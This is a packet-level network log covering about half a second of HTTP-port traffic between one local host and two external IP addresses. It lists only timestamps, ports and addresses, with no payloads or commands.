Oct 26, 2024 05:54:53.945179939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.945203066 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.946052074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.946105957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.946111917 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.946157932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.946193933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.946202993 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.946229935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.946264029 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.946270943 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.946435928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.946480036 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.946486950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.946521997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.946564913 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.946635962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.946670055 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.946707010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.946717978 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.946743011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.946785927 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.947021008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.953974962 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.954041958 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.954113960 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.954166889 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.954168081 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.954204082 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.954219103 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.954241037 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.954252005 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.954294920 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.954294920 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.954330921 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.954344988 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.954372883 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.954396963 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.954447031 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.954448938 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.954495907 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.954544067 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.954596043 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.954596996 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.954632044 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.954647064 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.954680920 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.954749107 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.954798937 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.954801083 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.954835892 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.954849958 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.954869986 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.954876900 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.954921007 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.954993963 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.955045938 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.955045938 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.955082893 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.955096006 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.955116987 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.955132008 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.955163956 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.955244064 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.955296993 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.955310106 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.955365896 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.955379009 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.955400944 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.955410004 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.955435038 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.955451965 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.955477953 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.955631971 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.955683947 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.955717087 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.955750942 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:53.955769062 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.955799103 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:53.987873077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.987922907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.987961054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:53.988055944 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:53.988056898 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.031354904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.031409979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.031450033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.031491041 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.075011015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.075046062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.075079918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.075114965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.075145006 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.075176954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.075189114 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.075189114 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.075215101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.075217962 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.075243950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.075270891 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.106126070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.106170893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.106179953 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.106209993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.106249094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.106256008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.107207060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.107253075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.107264042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.107295036 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.107335091 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.107352018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.107428074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.107458115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.107476950 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.107491970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.107534885 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.107544899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.107579947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.107626915 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.107645035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.107848883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.107893944 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.107903004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.107937098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.107981920 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.108036995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.108103037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.108150005 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.111022949 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111057997 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111092091 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.111112118 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111124039 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.111155033 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.111165047 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111200094 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111202955 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.111232042 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111246109 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.111267090 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111274958 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.111303091 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111310005 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.111350060 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.111357927 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111413002 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.111433983 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111485958 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.111490011 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111521006 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111531973 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.111577034 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.111578941 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111613989 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111630917 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.111649036 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111656904 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.111695051 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.111793041 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111821890 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111845016 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.111864090 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.111875057 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111926079 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.111931086 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111967087 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.111974001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.112001896 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.112010002 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.112037897 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.112046003 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.112081051 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.112137079 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.112180948 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.112222910 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.112257957 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.112272024 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.112299919 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.112308979 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.112344027 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.112360001 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.112380028 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.112387896 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.112421989 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.112627983 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.112658024 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.112679005 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.112700939 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.148931980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.148977041 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.149014950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.149025917 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.149053097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.149095058 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.192076921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.192109108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.192154884 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.192162037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.192192078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.192229033 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.236454964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.236499071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.236535072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.236571074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.236601114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.236634970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.236673117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.236833096 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.236833096 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.267838955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.267939091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.268002987 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.268008947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.268070936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.268074036 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.268104076 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.268153906 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.268167973 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.268198013 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.268202066 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.268249035 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.268250942 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.268289089 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.268311024 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.268318892 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.268336058 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.268352985 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.268367052 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.268393993 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.268397093 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.268424034 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.268450022 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.268461943 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.268475056 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.268527031 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.268527031 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.268563032 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.268577099 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.268599033 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.268604994 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.268647909 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.268651009 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.268687963 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.268697977 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.268718004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.268728971 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.268762112 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.268768072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.268805981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.268835068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.268846989 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.268883944 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.268918991 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.268951893 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.268953085 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.268970013 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.268985987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.268990040 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.269037008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.269042969 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.269073963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.269103050 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.269112110 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.269135952 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.269150972 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.269171000 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.269176960 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.269206047 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.269222021 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.269239902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.269246101 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.269273996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.269308090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.269315958 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.269356966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.269391060 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.269396067 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.269424915 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.269438982 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.269459963 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.269467115 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.269494057 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.269510031 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.269529104 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.269535065 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.269565105 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.269577026 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.269604921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.269613981 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.269639015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.269674063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.269680023 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.269701958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.269737959 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.269742012 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.269785881 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.310421944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.310467005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.310507059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.310523987 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.310544014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.310586929 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.353652954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.353704929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.353743076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.353749990 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.396092892 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.397440910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.397488117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.397524118 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.397536993 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.397553921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.397588015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.397597075 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.397628069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.397658110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:54.397675991 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:54.425242901 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425292969 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425348043 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425380945 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425416946 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425468922 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425488949 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.425488949 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.425488949 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.425488949 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.425488949 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.425506115 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425533056 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:54.425542116 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:54.425549030 CEST	49745	80	192.168.2.4	185.215.113.206
